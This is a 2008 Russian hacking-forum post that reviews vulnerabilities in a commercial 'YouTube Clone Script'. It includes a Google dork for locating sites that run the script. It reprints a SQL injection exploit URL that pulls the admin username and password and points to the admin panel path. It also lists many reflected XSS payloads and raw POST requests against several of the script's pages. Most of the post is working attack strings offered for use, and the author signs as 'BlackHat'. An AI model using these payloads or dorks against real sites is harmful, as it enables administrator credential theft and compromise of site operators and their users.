Обзор уязвимостей [YouTube]

Обзор уязвимостей [YouTube]

15.11.2008, 00:14

Dimi4

Reservists Of Antichat - Level 6

Регистрация: 19.03.2007

Сообщений: 953

С нами: 10077446

Репутация: 3965

Обзор уязвимостей [YouTube]

Обзор уязвимостей [YouTube] Clone Script

SITE: http://www.hispah.com/index.php?act=viewProd&productId=20
DORK: allinurl:"channel_detail.php?chid="
PRICE: 14.99$

Начнем с самого приятного. Нашол не я, у большинства сайтов уже фикс.
SQL Injection:

Код:

--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.hispah.com/index.php?act=viewProd&productId=20
DORK: allinurl:"channel_detail.php?chid="

DESCRIPTION:
Remote SQL injection in msg.php id, able to pull admin user/pass.

EXPLOIT:
http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/*


Tip/Note:
Majority of the sites require login to view msg.php None of the registration info is checked.

Admin Panel is in /siteadmin/



GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-02]

Cross Site Scripting (XSS)

Author: Dimi4
Found: 14.10.2008
Script: groups.php
Уязвимая переменная: catgy
Пример:

Код:

/groups.php?catgy=<ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&chid=10

Код:

/groups.php?catgy=%3C/textarea%3E%3CScRiPt%20%0a%0d%3Ealert(/xek/)%3B%3C/ScRiPt%3E&chid=10

Код:

/groups.php?b=fr&catgy=email@some<ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>domain.com

Script:login.php
Уязвимая переменная:username
Пример:

Код:

>'><ScRiPt>alert(/xek/);</ScRiPt>

Код:

POST /login.php?next=friends HTTP/1.0
Accept: */*
Host: localhost
Content-Length: 123
Cookie: PHPSESSID=3dd798ef2773154ae18238b238fb3fab
Connection: Close
Pragma: no-cache
username=>'><ScRiPt>alert(/xek/);</ScRiPt

Script: search_result.php
Уязвимая переменная: search_id,search_type
Пример:

Код:

/search_result.php?PHPSESSID=3dd798ef2773154ae18238b238fb3fab&search_id=<ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&search_type=related

Код:

/search_result.php?search_id=-&search_type=>'><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&page=1&sort=adddate

Script: signup.php
Уязвимая переменная: next,add,email,username,
Пример:

Код:

/signup.php?next=>"><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>

Код:

/signup.php?next=friends&add=>"><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>

Код:

POST /signup.php?next=friends HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 221
Cookie: PHPSESSID=3dd798ef2773154ae18238b238fb3fab
Connection: Close
Pragma: no-cache

email=>'><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&username=111-222-1933email@address.com&password1=111-222-1933email@address.com&password2=111-222-1933email@address.com&action_signup=%D0%E5%E3%E5%F1%F2%F0%E0%F6%B3%FF

Код:

POST /signup.php?next=friends HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 222
Cookie: PHPSESSID=3dd798ef2773154ae18238b238fb3fab
Connection: Close
Pragma: no-cache

email=111-222-1933email@address.com&username=>'><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&password1=111-222-1933email@address.com&password2=111-222-1933email@address.com&action_signup=%D0%E5%E3%E5%F1%F2%F0%E0%F6%B3%FF

Script: video.php
Уязвимая переменная: viewtype,category
Пример:

Код:

video.php?category=md&viewtype=>'><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>

Код HTML:

/video.php?category=>"><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>

Script: /view_video.php
Уязвимая переменная: page,viewkey,category
Пример:

Код:

view_video.php?viewkey=013ac554571fbd180e1c&page=>"><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>&viewtype=detailed&category=md&action=addfavour

Код:

view_video.php?viewkey=>"><ScRiPt%20%0a%0d>alert(/xek/)%3B</ScRiPt>

Код:

view_video.php?viewkey=013ac554571fbd180e1c&page=1&viewtype=detailed&category=>"><ScRiPt%20%0a%0d>alert(387790782)%3B</ScRiPt>

ВСЕ УЯЗВИМОСТИ НАЙДЕНЫ МНОЮ, ЗА ИСКЛЮЧЕНИЕМ ПЕРВОГО ЕКСПЛОЙТА

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________

BlackHat.

MoDL

Последний раз редактировалось Dimi4; 15.11.2008 в 13:06..